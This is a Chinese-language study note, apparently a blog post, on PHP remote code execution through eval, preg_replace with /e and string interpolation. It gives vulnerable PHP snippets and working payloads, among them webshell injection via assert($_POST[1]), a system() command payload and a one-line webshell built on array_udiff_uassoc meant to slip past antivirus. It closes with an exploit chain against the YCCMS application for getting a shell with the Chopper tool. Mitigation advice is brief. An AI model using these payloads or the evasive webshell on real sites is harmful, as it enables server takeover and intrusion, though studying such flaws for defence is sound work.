0x00:前言
应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。
客户端,向服务器发送恶意请求,该请求内容有服务器端可执行的代码,服务器接收后,未对数据做出任何过滤/拦截(服务器用了危险函数),从而造成代码执行漏洞
0x01:原理
$str = "121"."asdasf"."asds{phpinfo()}adsf";
PHP会把 { } 中的代码,正常运行
扩展:
?data = data:text/plain,<?php phpinfo();?>
文本类型+恶意代码
0x02:远程代码执行常见点
可控的一个点,指向危险函数(多为生僻函数)
0x03:常见函数
参考链接:https://blog.csdn.net/qq_37133717/article/details/94760485
eval()函数漏洞利用_1
<?php $data = $_GET['data']; eval("$ret = $data;"); echo $ret; ?>
/?data=phpinfo()
/?data=1;phpinfo()
/?data=${phpinfo()}
eval()函数漏洞利用_2
<?php //关闭魔术方法 $data=$_GET[‘data’]; eval(“$ret = strtolower(‘$data’);”); echo $ret; ?>
/?data=1’);phpinfo();//
eval()函数漏洞利用_3
<?php $data=$_GET[‘data’]; eval(“$ret = strtolower(”$data”);”); echo $ret; ?>
/?data=${phpinfo()} (php版本5.5及以上)
/?data=“);phpinfo();//
preg_replace+/e利用(PHP版本在5.5以下)
<?php $data=$_GET[‘data’]; echo $data; preg_replace(‘/<data>(.*)</data>/e’,‘$ret=“\1”;’, $data); echo $ret; ?>
/?data=${phpinfo()}
/?data=<data>${assert($_POST[1])}</data>
payload:
${函数或一句话木马} //配合菜刀getshell
?data=’);${exit(print(system("命令")))};//
{${所需函数}}</data>
0x04:使用
可以构造代码执行漏洞,上传木马(这是木马的原理??)
避免被杀软过滤,尽量用不常用函数
<?php $a1 = array($_POST['cmd']); $a2 = array($_POST['cmd']); $result = array_udiff_uassoc($a1,$a2,"assert","assert"); ?>
0x05:总结
开发中尽量不要使用危险函数,输入的变量要过滤,正则表达式
随便试的测试代码
<?php /* $data = $_GET['data']; eval ("$ret = strtolower('$data');"); echo $ret; eval ("$ret = phpinfo();"); eval ("$ret = 1;phpinfo();"); eval ("$ret = ${phpinfo()};"); eval ("$ret = strtolower('');phpinfo();//');"); */ $data=$_GET['data']; echo $data; //preg_replace('/<data>(.*)</data>/e','$ret="\1";', $data); //{${所需函数}}</data> eval ("$ret = strtolower('$data');"); echo $ret; //preg_replace('/<data>(.*)</data>/e','$ret="\1";', ${phpinfo()}); //${函数/一句话木马} //?data=%27);${exit(print(system("命令")))};// ?>
0x06:YCCMS代码执行拿shell
用工具自动化审计完了
然后就引用:https://blog.csdn.net/qq_36374896/article/details/84839891
代码审计,不会
index.php
<?php require str_replace('\','/',substr(dirname(__FILE__),0,-6)).'/config/run.inc.php'; ?>
run.inc.php
<?php //开启session session_start(); //超时时间 @set_time_limit(0); //设置编码 header('Content-Type:text/html;charset=utf-8'); //错误级别,报告警告之外的所有错误 error_reporting(E_ALL ^ E_NOTICE); //设置时区 date_default_timezone_set('PRC'); //网站绝对根路径 define('ROOT_PATH',str_replace('\','/',substr(dirname(__FILE__),0,-7))); //引入配置文件 require ROOT_PATH.'/config/config.inc.php'; //引入Smarty require ROOT_PATH.'/public/smarty/Smarty.class.php'; //自动加载类 function __autoload($_className){ if(substr($_className,-6)=='Action'){ require ROOT_PATH.'/controller/'.$_className.'.class.php'; }elseif(substr($_className, -5) == 'Model'){ require ROOT_PATH.'/model/'.$_className.'.class.php'; }else{ require ROOT_PATH.'/public/class/'.$_className.'.class.php'; } } //单入口 Factory::setAction()->run(); ?>
Factory.class.php
<?php class Factory{ static private $_obj=null; static public function setAction(){ $_a=self::getA(); if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) { if (!isset($_SESSION['admin'])) { header('Location:'.'?a=login'); } } if (!file_exists(ROOT_PATH.'/controller/'.$_a.'Action.class.php')) $_a = 'Index'; eval('self::$_obj = new '.ucfirst($_a).'Action();'); return self::$_obj; } static public function setModel() { $_a = self::getA(); if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();'); return self::$_obj; } static public function getA(){ if(isset($_GET['a']) && !empty($_GET['a'])){ return $_GET['a']; } return 'login'; } } ?>
payload:Factory();phpinfo();//../
其中Factory();是为了闭合前面new字符,不然程序会报错,后面紧接着执行phpinfo();函数
菜刀拿来